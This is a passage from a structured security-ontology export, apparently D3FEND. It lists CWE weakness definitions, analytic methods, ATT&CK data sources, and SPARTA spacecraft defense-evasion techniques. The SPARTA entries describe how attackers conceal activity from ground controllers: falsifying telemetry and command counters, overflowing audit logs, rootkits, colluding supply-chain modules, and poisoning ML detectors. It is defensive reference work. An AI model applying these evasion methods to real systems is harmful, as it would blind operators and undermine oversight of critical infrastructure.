definition: The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
subclass of: CWE-943

Use of Expired File Descriptor
type: Class
cwe-id: CWE-910
definition: The product uses or accesses a file descriptor after it has been closed.
synonym: Stale file descriptor
subclass of: CWE-672

Improper Update of Reference Count
type: Class
cwe-id: CWE-911
definition: The product uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.
subclass of: CWE-664

Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
type: Class
cwe-id: CWE-917
definition: The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.
synonym: EL Injection
subclass of: CWE-77

Server-Side Request Forgery (SSRF)
type: Class
type: NamedIndividual
cwe-id: CWE-918
definition: The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
synonym: SSRF
synonym: XSPA
weakness-of: UserInputFunction
subclass of: Restriction
  on property: weakness-of
  some values from: UserInputFunction
subclass of: Unintended Proxy or Intermediary ('Confused Deputy')

Improper Restriction of Power Consumption
type: Class
cwe-id: CWE-920
definition: The product operates in an environment in which power is a limited resource that cannot be automatically replenished, but the product does not properly restrict the amount of power that its operation consumes.
subclass of: CWE-400

Storage of Sensitive Data in a Mechanism without Access Control
type: Class
cwe-id: CWE-921
definition: The product stores sensitive information in a file system or device that does not have built-in access control.
subclass of: Insecure Storage of Sensitive Information

Improper Enforcement of Message Integrity During Transmission in a Communication Channel
type: Class
cwe-id: CWE-924
definition: The product establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.
subclass of: CWE-345

Improper Verification of Intent by Broadcast Receiver
type: Class
cwe-id: CWE-925
definition: The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.
synonym: Intent Spoofing
subclass of: Improper Verification of Source of a Communication Channel

Improper Export of Android Application Components
type: Class
cwe-id: CWE-926
definition: The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.
subclass of: CWE-285

Use of Implicit Intent for Sensitive Communication
type: Class
cwe-id: CWE-927
definition: The Android application uses an implicit intent for transmitting sensitive data to other applications.
subclass of: CWE-285
subclass of: CWE-668

Improper Authorization in Handler for Custom URL Scheme
type: Class
cwe-id: CWE-939
definition: The product uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme.
subclass of: CWE-862

Incorrectly Specified Destination in a Communication Channel
type: Class
cwe-id: CWE-941
definition: The product creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.
subclass of: CWE-923

Permissive Cross-domain Policy with Untrusted Domains
type: Class
cwe-id: CWE-942
definition: The product uses a cross-domain policy file that includes domains that should not be trusted.
subclass of: Permissive List of Allowed Inputs
subclass of: CWE-863
subclass of: CWE-923

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
type: Class
cwe-id: CWE-95
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
subclass of: CWE-94

Improper Neutralization of Server-Side Includes (SSI) Within a Web Page
type: Class
cwe-id: CWE-97
definition: The product generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.
subclass of: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
type: Class
cwe-id: CWE-98
definition: The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.
synonym: Local file inclusion
synonym: RFI
synonym: Remote file include
subclass of: CWE-706
subclass of: CWE-829

Canopy Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-CC
definition: The canopy clustering algorithm is an unsupervised pre-clustering algorithm often used as preprocessing step for the K-means algorithm or the Hierarchical clustering algorithm. It is intended to speed up clustering operations on large data sets.
kb-article: ## References Wikipedia. (n.d.). Canopy clustering algorithm. [Link](https://en.wikipedia.org/wiki/Canopy_clustering_algorithm)
subclass of: ClusterAnalysis

Capability
type: Class
subclass of: ExternalThing

Chatroom Client
type: Class
definition: Client software used to describe conduct any form of synchronous conferencing, occasionally even asynchronous conferencing. The term can thus mean any technology ranging from real-time online chat and online interaction with strangers (e.g., online forums) to fully immersive graphical social environments.
subclass of: CollaborativeSoftware
alternative label: Chat Room Client

Child Process
type: Class
definition: A child process in computing is a process created by another process (the parent process). This technique pertains to multitasking operating systems, and is sometimes called a subprocess or traditionally a subtask. There are two major procedures for creating a child process: the fork system call (preferred in Unix-like systems and the POSIX standard) and the spawn (preferred in the modern (NT) kernel of Microsoft Windows, as well as in some historical operating systems).
subclass of: Process

Cloud-based Database Application
type: Class
type: NamedIndividual
definition: A database application where the underlying infrastructure is managed by a third-party cloud provider. Examples include DynamoDB, Firestore, and CosmosDB.
provider: Cloud Service Provider
synonym: Serverless Database Application
subclass of: Restriction
  on property: provider
  some values from: Cloud Service Provider
subclass of: Database Service Application

Cloud Configuration Modification Event
type: Class
definition: An event that updates cloud-hosted resource configurations such as IAM policies, virtual network constructs, storage settings, or managed-service parameters; impacting resource provisioning, access control, functionality, or compliance.
subclass of: Restriction
  on property: has-participant
  some values from: CloudConfiguration
subclass of: ConfigurationModificationEvent

Cloud Service Sensor
type: Class
type: NamedIndividual
definition: Senses data from cloud service platforms. Including data from cloud service authentications, authorizations, and other activities.
monitors: Cloud Service Authentication
monitors: Cloud Service Authorization
subclass of: Restriction
  on property: monitors
  some values from: Cloud Service Authorization
subclass of: Restriction
  on property: monitors
  some values from: Cloud Service Authentication
subclass of: CyberSensor

Compute Device Event
type: Class
definition: An event capturing the operation, state, or performance of computational hardware, such as CPUs, GPUs, or accelerators. These events reflect processing capacity changes, utilization anomalies, or device health.
subclass of: Restriction
  on property: has-participant
  some values from: Processor
subclass of: HardwareDeviceEvent

Computer Cabinet
type: Class
definition: A computer cabinet houses one or more computers and can range in size and material.
see also: IEEE C37.20.2
subclass of: ComputerEnclosure

Computer Case
type: Class
definition: A computer case is a computer enclosure which encloses a single primary computer.
subclass of: ComputerEnclosure

Computing Server
type: Class
definition: A compute server is a system specifically designed to undertake large amounts of computation, usually but not necessarily in a client/server environment.
subclass of: Server

Condition
type: Class
definition: An assumption on which rests the validity or effect of something else.
comment: Less common usage versus state, meant to superclass precondition, postcondition, and effect.
subclass of: D3FENDCore

Configuration Management Database
type: Class
definition: A database used to store configuration records throughout their lifecycle. The Configuration Management System (CMS) maintains one or more CMDBs, and each CMDB stores attributes of configuration items (CIs), and relationships with other CIs.
subclass of: Configuration Database

Console Output Function
type: Class
definition: Outputs characters to a computer console.
subclass of: Subroutine

Container Build Tool
type: Class
definition: A software build tool that creates a container (e.g., Docker container) for deployment.
subclass of: SoftwarePackagingTool

Container Runtime
type: Class
type: NamedIndividual
definition: A software layer between a container process and a kernel which often mediates the invocation of a system call.
runs: ContainerImage
subclass of: Restriction
  on property: runs
  some values from: ContainerImage
subclass of: ServiceApplication

Copy Memory Function
type: Class
type: NamedIndividual
copies: MemoryBlock
definition: Copies a memory block from one location to another.
subclass of: Restriction
  on property: copies
  some values from: MemoryBlock
subclass of: Subroutine

Cramer's V
type: Class
type: NamedIndividual
d3fend-id: D3A-CV
definition: Cramér's V (sometimes referred to as Cramér's phi and denoted as φc) is a measure of association between two nominal variables, giving a value between 0 and +1 (inclusive) and is based on Pearson's chi-squared statistic.
kb-article: ## References Wikipedia. (n.d.). Cramér's V. [Link](https://en.wikipedia.org/wiki/Cram%C3%A9r%27s_V)
synonym: Cramer's Phi
subclass of: Correlation

CycleGAN
type: Class
type: NamedIndividual
d3fend-id: D3A-CYC
definition: The Cycle Generative Adversarial Network (CycleGAN) is an approach to training a deep convolutional neural network for image-to-image translation tasks by mapping between input and output images using unpaired dataset.
kb-article: ## References Esri. (n.d.). How CycleGAN Works. [Link](https://developers.arcgis.com/python/guide/how-cyclegan-works/)
subclass of: Image-to-ImageTranslationGAN

DBSCAN
type: Class
type: NamedIndividual
d3fend-id: D3A-DBS
definition: A density-based clustering algorithm that works on the assumption that clusters are dense regions in space separated by regions of lower density.
kb-article: ## References Analytics Vidhya. (2020, September 15). How DBSCAN Clustering Works: A Comprehensive Guide with Implementations in Python. [Link](https://www.analyticsvidhya.com/blog/2020/09/how-dbscan-clustering-works/#:~:text=DBSCAN%20is%20a%20density%2Dbased,points%20into%20a%20single%20cluster.)
subclass of: Density-based Clustering

Disable Fault Management - SPARTA
type: Class
attack-id: DE-0001
definition: Threat actors may disable fault management within the victim spacecraft during the attack campaign. During the development process, many fault management mechanisms are added to the various parts of the spacecraft in order to protect it from a variety of bad/corrupted commands, invalid sensor data, and more. By disabling these mechanisms, threat actors may be able to have commands processed that would not normally be allowed.
subclass of: SPARTADefenseEvasionTechnique
preferred label: Disable Fault Management

Inhibit Ground System Functionality - SPARTA
type: Class
attack-id: DE-0002.01
definition: Threat actors may utilize access to the ground system to inhibit its ability to accurately process, render, or interpret spacecraft telemetry, effectively leaving ground controllers unaware of the spacecraft’s true state or activity. This may involve traditional denial-based techniques, such as disabling telemetry software, corrupting processing pipelines, or crashing display interfaces. In addition, more subtle deception-based techniques may be used to falsify telemetry data within the ground system — such as modifying command counters, acknowledgments, housekeeping data, or sensor outputs — to provide the appearance of nominal operation. These actions can suppress alerts, mask unauthorized activity, or prevent both automated and manual mitigations from being initiated based on misleading ground-side information. Because telemetry is the primary method by which ground controllers monitor the health, behavior, and safety of the spacecraft, any disruption or falsification of this data directly undermines situational awareness and operational control.
subclass of: DE-0002
preferred label: Inhibit Ground System Functionality

Jam Link Signal - SPARTA
type: Class
attack-id: DE-0002.02
definition: Threat actors may overwhelm/jam the downlink signal to prevent transmitted telemetry signals from reaching their destination without severe modification/interference, effectively leaving ground controllers unaware of vehicle activity during this time. Telemetry is the only method in which ground controllers can monitor the health and stability of the spacecraft while in orbit. By disabling this downlink, threat actors may be able to stop mitigations from taking place.
subclass of: DE-0002
preferred label: Jam Link Signal

Inhibit Spacecraft Functionality - SPARTA
type: Class
attack-id: DE-0002.03
definition: Threat actors may manipulate or shut down a target spacecraft's on-board processes to inhibit the spacecraft's ability to generate or transmit telemetry signals, effectively leaving ground controllers unaware of vehicle activity during this time. Telemetry is the only method in which ground controllers can monitor the health and stability of the spacecraft while in orbit. By disabling this downlink, threat actors may be able to stop mitigations from taking place.
subclass of: DE-0002
preferred label: Inhibit Spacecraft Functionality

Vehicle Command Counter (VCC) - SPARTA
type: Class
attack-id: DE-0003.01
definition: Threat actors may attempt to hide their attempted attacks by modifying the onboard Vehicle Command Counter (VCC). This value is also sent with telemetry status to the ground controller, letting them know how many commands have been sent. By modifying this value, threat actors may prevent ground controllers from immediately discovering their activity.
subclass of: DE-0003
preferred label: Vehicle Command Counter (VCC)

Rejected Command Counter - SPARTA
type: Class
attack-id: DE-0003.02
definition: Threat actors may attempt to hide their attempted attacks by modifying the onboard Rejected Command Counter. Similarly to the VCC, the Rejected Command Counter keeps track of how many commands that were rejected by the spacecraft for some reason. Threat actors may target this counter in particular to ensure their various attempts are not discovered.
subclass of: DE-0003
preferred label: Rejected Command Counter

Command Receiver On/Off Mode - SPARTA
type: Class
attack-id: DE-0003.03
definition: Threat actors may modify the command receiver mode, in particular turning it on or off. When the command receiver mode is turned off, the spacecraft can no longer receive commands in some capacity. Threat actors may use this time to ensure that ground controllers cannot prevent their code or commands from executing on the spacecraft.
subclass of: DE-0003
preferred label: Command Receiver On/Off Mode

Command Receivers Received Signal Strength - SPARTA
type: Class
attack-id: DE-0003.04
definition: Threat actors may target the on-board command receivers received signal parameters (i.e., automatic gain control (AGC)) in order to stop specific commands or signals from being processed by the spacecraft. For ground controllers to communicate with spacecraft in orbit, the on-board receivers need to be configured to receive signals with a specific signal to noise ratio (ratio of signal power to the noise power). Targeting values related to the antenna signaling that are modifiable can prevent the spacecraft from receiving ground commands.
subclass of: DE-0003
preferred label: Command Receivers Received Signal Strength

Command Receiver Lock Modes - SPARTA
type: Class
attack-id: DE-0003.05
definition: When the received signal strength reaches the established threshold for reliable communications, command receiver lock is achieved. Command lock indicates that the spacecraft is capable of receiving a command but doesn't require a command to be processed. Threat actors can attempt command lock to test their ability for future commanding and if they pre-positioned malware on the spacecraft it can target the modification of command lock value to avoid being detected that command lock has been achieved.
subclass of: DE-0003
preferred label: Command Receiver Lock Modes

Telemetry Downlink Modes - SPARTA
type: Class
attack-id: DE-0003.06
definition: Threat actors may target the various downlink modes configured within the victim spacecraft. This value triggers the various modes that determine how telemetry is sent to the ground station, whether it be in real-time, playback, or others. By modifying the various modes, threat actors may be able to hide their campaigns for a period of time, allowing them to perform further, more sophisticated attacks.
subclass of: DE-0003
preferred label: Telemetry Downlink Modes

Cryptographic Modes - SPARTA
type: Class
attack-id: DE-0003.07
definition: Threat actors may modify the internal cryptographic modes of the victim spacecraft. Most spacecraft, when cryptography is enabled, as the ability to change keys, algorithms, or turn the cryptographic module completely off. Threat actors may be able to target this value in order to hide their traffic. If the spacecraft in orbit cryptographic mode differs from the mode on the ground, communication can be stalled.
subclass of: DE-0003
preferred label: Cryptographic Modes

Received Commands - SPARTA
type: Class
attack-id: DE-0003.08
definition: Satellites often record which commands were received and executed. These records can be routinely reflected in the telemetry or through ground operators specifically requesting them from the satellite. If an adversary has conducted a cyber attack against a satellite’s command system, this is an obvious source of identifying the attack and assessing the impact. If this data is not automatically generated and transmitted to the ground for analysis, the ground operators should routinely order and examine this data. For instance, commands or data uplinks that change stored command procedures will not necessarily create an observable in nominal telemetry, but may be ordered, examined, and identified in the command log of the system. Threat actors may manipulate these stored logs to avoid detection.
subclass of: DE-0003
preferred label: Received Commands

System Clock for Evasion - SPARTA
type: Class
attack-id: DE-0003.09
definition: Telemetry frames are a snapshot of satellite data at a particular time. Timing information is included for when the data was recorded, near the header of the frame packets. There are several ways satellites calculate the current time, including through use of GPS. An adversary conducting a cyber attack may be interested in altering the system clock for a variety of reasons, including misrepresentation of when certain actions took place.
subclass of: DE-0003
preferred label: System Clock for Evasion

GPS Ephemeris - SPARTA
type: Class
attack-id: DE-0003.10
definition: A satellite with a GPS receiver can use ephemeris data from GPS satellites to estimate its own position in space. A hostile actor could spoof the GPS signals to cause erroneous calculations of the satellite’s position. The received ephemeris data is often telemetered and can be monitored for indications of GPS spoofing. Reception of ephemeris data that changes suddenly without a reasonable explanation (such as a known GPS satellite handoff), could provide an indication of GPS spoofing and warrant further analysis. Threat actors could also change the course of the vehicle and falsify the telemetered data to temporarily convince ground operators the vehicle is still on a proper course.
subclass of: DE-0003
preferred label: GPS Ephemeris

Watchdog Timer (WDT) for Evasion - SPARTA
type: Class
attack-id: DE-0003.11
definition: Threat actors may manipulate the WDT for several reasons including the manipulation of timeout values which could enable processes to run without interference - potentially depleting on-board resources.
subclass of: DE-0003
preferred label: Watchdog Timer (WDT) for Evasion

Poison AI/ML Training for Evasion - SPARTA
type: Class
attack-id: DE-0003.12
definition: Threat actors may perform data poisoning attacks against the training data sets that are being used for security features driven by artificial intelligence (AI) and/or machine learning (ML). In the context of defense evasion, when the security features are informed by AI/ML an attacker may perform data poisoning to achieve evasion. The poisoning intentionally implants incorrect correlations in the model by modifying the training data thereby preventing the AI/ML from effectively detecting the attacks by the threat actor. For instance, if a threat actor has access to the dataset used to train a machine learning model for intrusion detection/prevention, they might want to inject tainted data to ensure their TTPs go undetected. With the datasets typically used for AI/ML (i.e., thousands and millions of data points), it would not be hard for a threat actor to inject poisoned examples without being noticed. When the AI model is trained with the tainted data, it will fail to detect the threat actor's TTPs thereby achieving the evasion goal.
subclass of: DE-0003
preferred label: Poison AI/ML Training for Evasion

Masquerading - SPARTA
type: Class
attack-id: DE-0004
definition: Threat actors may gain access to a victim spacecraft by masquerading as an authorized entity. This can be done several ways, including through the manipulation of command headers, spoofing locations, or even leveraging Insider's access (i.e., Insider Threat)
subclass of: SPARTADefenseEvasionTechnique
preferred label: Masquerading

Subvert Protections via Safe-Mode - SPARTA
type: Class
attack-id: DE-0005
definition: Threat actors may exploit safe mode to evade security controls and avoid detection by issuing commands or performing actions that would be blocked during nominal operations. In safe mode, spacecraft often disable telemetry filtering, authentication checks, or command restrictions to prioritize recovery, which can be subverted by an attacker to conceal malicious activity or establish a persistent foothold.
subclass of: SPARTADefenseEvasionTechnique
preferred label: Subvert Protections via Safe-Mode

Modify Whitelist - SPARTA
type: Class
attack-id: DE-0006
definition: Threat actors may target whitelists on the spacecrafts as a means to execute and/or hide malicious processes/programs. Whitelisting is a common technique used on traditional IT systems but has also been used on spacecrafts. Whitelisting is used to prevent execution of unknown or potentially malicious software. However, this technique can be bypassed if not implemented correctly but threat actors may also simply attempt to modify the whitelist outright to ensure their malicious software will operate on the spacecraft that utilizes whitelisting.
subclass of: SPARTADefenseEvasionTechnique
preferred label: Modify Whitelist

Evasion via Rootkit - SPARTA
type: Class
attack-id: DE-0007
definition: Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the flight software or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or System Firmware.
subclass of: SPARTADefenseEvasionTechnique
preferred label: Evasion via Rootkit

Evasion via Bootkit - SPARTA
type: Class
attack-id: DE-0008
definition: Adversaries may use bootkits to persist on systems and evade detection. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
subclass of: SPARTADefenseEvasionTechnique
preferred label: Evasion via Bootkit

Debris Field - SPARTA
type: Class
attack-id: DE-0009.01
definition: Threat actors may hide their spacecraft by lying dormant within clusters of space junk or similar debris fields. This could serve several purposes including concealment of inspection activities being performed by the craft, as well as facilitating some future kinetic intercept/attack. Threat actors may also utilize the timing of a target spacecraft passing through a debris field to execute an onboard attack with cyber-physical implications, such as manipulating propulsion or actuators in some way, with the hope that ground operators may mistakenly attribute any resulting damage to debris collisions.
subclass of: DE-0009
preferred label: Debris Field

Space Weather - SPARTA
type: Class
attack-id: DE-0009.02
definition: Space weather and its associated hazards imposed on spacecraft are a well-studied field of their own. However, it is also important to note the potential for threat actors to take advantage of heightened periods of solar activity to conduct electromagnetic interference (EMI) operations as they may be falsely attributed to natural events.
subclass of: DE-0009
preferred label: Space Weather

Trigger Premature Intercept - SPARTA
type: Class
attack-id: DE-0009.03
definition: Threat actors may utilize decoy technology to disrupt detection and interception systems and deplete resources that might otherwise prevent an actual attack taking place simultaneously or shortly after the decoy is deployed.
subclass of: DE-0009
preferred label: Trigger Premature Intercept

Targeted Deception of Onboard SSA/SDA Sensors - SPARTA
type: Class
attack-id: DE-0009.04
definition: Threat actors may intentionally degrade or manipulate the spacecraft’s onboard sensors or associated systems used for Space Domain Awareness (SDA). This allows an adversary to hide proximity operations, mislead threat detection logic, or disrupt autonomous responses by confusing local SDA feeds. Unlike debris field concealment, this technique targets the spacecraft's own perception systems through directed interference, spoofing, or environmental manipulation. There is a distinction with DE-0009.01 where threat actors could use debris or environment to hide themselves. Where with this sub-technique, the threat actor attacks your sensors so you can’t see them.
subclass of: DE-0009
preferred label: Targeted Deception of Onboard SSA/SDA Sensors

Corruption or Overload of Ground-Based SDA Systems - SPARTA
type: Class
attack-id: DE-0009.05
definition: Threat actors may target the ground-based systems and data pipelines that support Space Domain Awareness (SDA), either by corrupting key data sources, manipulating tracking information, or overloading the ingestion architecture. The objective is to blind or confuse decision-makers and automated systems responsible for monitoring and responding to on-orbit activity. This includes compromising or spoofing telemetry, TLEs, sensor feeds, radar/optical returns, or orbital prediction services used by tracking centers. It also includes the enumeration and exploitation of analytic infrastructures, such as AI/ML-enhanced SDA platforms. In cases where SDA systems leverage AI/ML inference for object detection and decision support, attackers may seek to degrade model performance by flooding the data pipeline with misleading, noisy, adversarial, or low-quality sensor inputs. These disruptions aim to delay detection of threats, generate false positives, or cause resource exhaustion in SDA fusion and alerting systems. This sub-technique differs from onboard deception (e.g., sensor spoofing) by targeting the terrestrial decision support infrastructure, potentially affecting multiple spacecraft or operators simultaneously.
subclass of: DE-0009
preferred label: Corruption or Overload of Ground-Based SDA Systems

Overflow Audit Log - SPARTA
type: Class
attack-id: DE-0010
definition: Threat actors may seek to exploit the inherent nature of flight software and its limited capacity for event logging/storage between downlink windows as a means to conceal malicious activity.
subclass of: SPARTADefenseEvasionTechnique
preferred label: Overflow Audit Log

Credentialed Evasion - SPARTA
type: Class
attack-id: DE-0011
definition: Threat actors may leverage valid credentials to conduct unauthorized actions against a spacecraft or related system in a way that conceals their presence and evades detection. By using trusted authentication mechanisms attackers can blend in with legitimate operations and avoid triggering access control alarms or anomaly detection systems. This technique enables evasion by appearing authorized, allowing adversaries to issue commands, access sensitive subsystems, or move laterally within spacecraft or constellation architectures without exploiting software vulnerabilities. When credential use is poorly segmented or monitored, this form of access can be used to maintain stealthy persistence or facilitate other tactics under the guise of legitimate activity.
subclass of: SPARTADefenseEvasionTechnique
preferred label: Credentialed Evasion

Component Collusion - SPARTA
type: Class
attack-id: DE-0012
definition: This technique involves two or more compromised components operating in coordination to conceal malicious activity. Threat actors compromise multiple software modules during the supply chain process and design them to behave cooperatively. Each component independently performs only a limited, seemingly benign function, such that when analyzed in isolation, no single module appears malicious. An example of implementation involves one component acting as a trigger agent, waiting for specific mission or system conditions (e.g., GPS fix, telemetry state) and writing a signal to a shared resource (e.g., file, bus). A separate action agent monitors this resource and only executes the malicious behavior (such as data exfiltration or command injection) upon receiving the trigger. This division of responsibilities significantly undermines traditional detection techniques, such as log analysis, static code review, or heuristic-based behavior monitoring.
subclass of: SPARTADefenseEvasionTechnique
preferred label: Component Collusion

DHCP Inform Event
type: Class
definition: An event where a DHCP client sends an INFORM message to request configuration parameters, such as DNS or gateway information, without requiring IP address assignment.
subclass of: DHCPEvent
alternative label: DHCPINFORM

DHCP Lease Expire Event
type: Class
definition: An event indicating that a DHCP lease has expired, rendering the previously assigned IP address available for reassignment to other devices.
subclass of: Restriction
  on property: preceded-by
  some values from: DHCP Ack Event
subclass of: DHCPEvent
alternative label: DHCPLEASEEXPIRE

DHCP Nak Event
type: Class
definition: An event where a DHCP server sends a NAK message to reject a client's REQUEST, indicating that the requested configuration cannot be granted.
subclass of: Restriction
  on property: preceded-by
  some values from: DHCP Request Event
subclass of: DHCPEvent
alternative label: DHCPNAK

DHCP Release Event
type: Class
definition: An event where a DHCP client sends a RELEASE message to relinquish its assigned IP address and cancel any remaining lease duration.
subclass of: Restriction
  on property: preceded-by
  some values from: DHCP Ack Event
subclass of: DHCPEvent
alternative label: DHCPRELEASE

DHCP Server
type: Class
type: NamedIndividual
contains: DHCP Service Application
definition: A Dynamic Host Configuration Protocol (DHCP) server is a type of server that assigns IP addresses to computers. DHCP servers are used to assign IP addresses to computers and other devices automatically. The DHCP server is responsible for assigning the unique IP address to each device.
manages: DHCPService
subclass of: Restriction
  on property: manages
  some values from: DHCPService
subclass of: Restriction
  on property: contains
  some values from: DHCP Service Application
subclass of: Server

DNN-based Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-DBC
definition: DNNs serve for clustering as mappings to better representations. The features of these representations can be drawn from different layers of the network or even from several layers.
kb-article: ## References OpenReview. (n.d.). Unsupervised Clustering using Pseudo Ensemble Models. [Link](https://openreview.net/pdf?id=B1eT9VMgOX)
subclass of: ANN-basedClustering

DNS Response Event
type: Class
definition: An event where a DNS server responds to a query with resolution data.
subclass of: Restriction
  on property: preceded-by
  some values from: DNS Query Event
subclass of: DNS Event

DNS Server
type: Class
definition: A Domain Name System (DNS) name server is a kind of name server. Domain names are one of the two principal namespaces of the Internet. The most important function of DNS servers is the translation (resolution) of human-memorable domain names and hostnames into the corresponding numeric Internet Protocol (IP) addresses, the second principal name space of the Internet which is used to identify and locate computer systems and resources on the Internet. (en). More generally, a name server is a computer application that implements a network service for providing responses to queries against a directory service. It translates an often humanly meaningful, text-based identifier to a system-internal, often numeric identification or addressing component. This service is performed by the server in response to a service protocol request.
subclass of: Server

Firmware (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI
comment: This data source captures events relating to firmware and therefore has no direct mappings to digital artifacts.

User Account (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A profile representing a user, device, service, or application used to authenticate and access resources
exactly: UserAccount
comment: The digital artifact mapping for this data source is only applicable to the User Account Metadata component

Scheduled Job (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)
exactly: ScheduledJob
comment: The digital artifact mapping for this data source is only applicable to the Scheduled Job Metadata component

Malware Repository (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Information obtained (via shared or submitted samples) regarding malicious software (droppers, backdoors, etc.) used by adversaries
narrower: FileHash
narrower: ImageCodeSegment
comment: The digital artifact mapping for this data source is only applicable to the Scheduled Job Metadata component

WMI (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers
comment: This data source captures events relating to WMI objects and therefore has no direct mappings to digital artifacts.

Web Credential (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Credential material, such as session cookies or tokens, used to authenticate to web applications and services
comment: This data source captures events relating to web credentials and therefore has no direct mappings to digital artifacts.

Image (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A single file used to deploy a virtual machine/bootable disk into an on-premise or third-party cloud environment
exactly: Virtual Machine Image
comment: The digital artifact mapping for this data source is only applicable to the Image Metadata component

Kernel (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A computer program, at the core of a computer OS, that resides in memory and facilitates interactions between hardware and software components
comment: This data source captures events relating to kernel modules and therefore has no direct mappings to digital artifacts.

Process (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures
exactly: Process
comment: The digital artifact mapping for this data source is only applicable to the Process Metadata component

Cloud Storage (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs
exactly: CloudStorage
comment: The digital artifact mapping for this data source is only applicable to the Cloud Storage Metadata component

Module (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries
comment: This data source captures events relating to software libraries and therefore has no direct mappings to digital artifacts.

Script (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A file or stream containing a list of commands, allowing them to be launched in sequence
comment: This data source captures events relating to scripts and therefore has no direct mappings to digital artifacts.

Sensor Health (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Information from host telemetry providing insights about system status, errors, or other notable functional activity
comment: This data source currently has no mappings to digital artifacts.

Pod (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A single unit of shared resources within a cluster, comprised of one or more containers
comment: This data source captures events relating to pods and therefore has no direct mappings to digital artifacts.

Application Log (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
broader: Log
definition: Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)

Drive (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter
comment: This data source captures events relating to drives and therefore has no direct mappings to digital artifacts.

Command (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task
comment: This data source captures events relating to commands and therefore has no direct mappings to digital artifacts.

Firewall (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules
exactly: Firewall
comment: The digital artifact mapping for this data source is only applicable to the Firewall Metadata component

Service (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in
exactly: ServiceApplicationProcess
comment: The digital artifact mapping for this data source is only applicable to the Service Metadata component

Snapshot (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A point-in-time copy of cloud volumes (files, settings, etc.) that can be created and/or deployed in cloud environments
exactly: VolumeSnapshot
comment: The digital artifact mapping for this data source is only applicable to the Volume Metadata component

Persona (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A malicious online profile representing a user commonly used by adversaries to social engineer or otherwise target victims
comment: This data source currently has no mappings to digital artifacts.

File (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media)
narrower: FileSystemMetadata
comment: The digital artifact mapping for this data source is only applicable to the File Metadata component

Named Pipe (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
